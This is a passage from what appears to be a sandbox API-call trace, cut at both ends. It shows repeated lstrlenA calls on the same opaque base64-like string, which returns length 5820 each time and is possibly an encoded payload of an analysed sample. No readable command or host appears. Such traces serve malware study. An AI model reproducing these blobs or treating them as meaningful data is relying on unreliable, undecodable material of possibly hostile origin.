6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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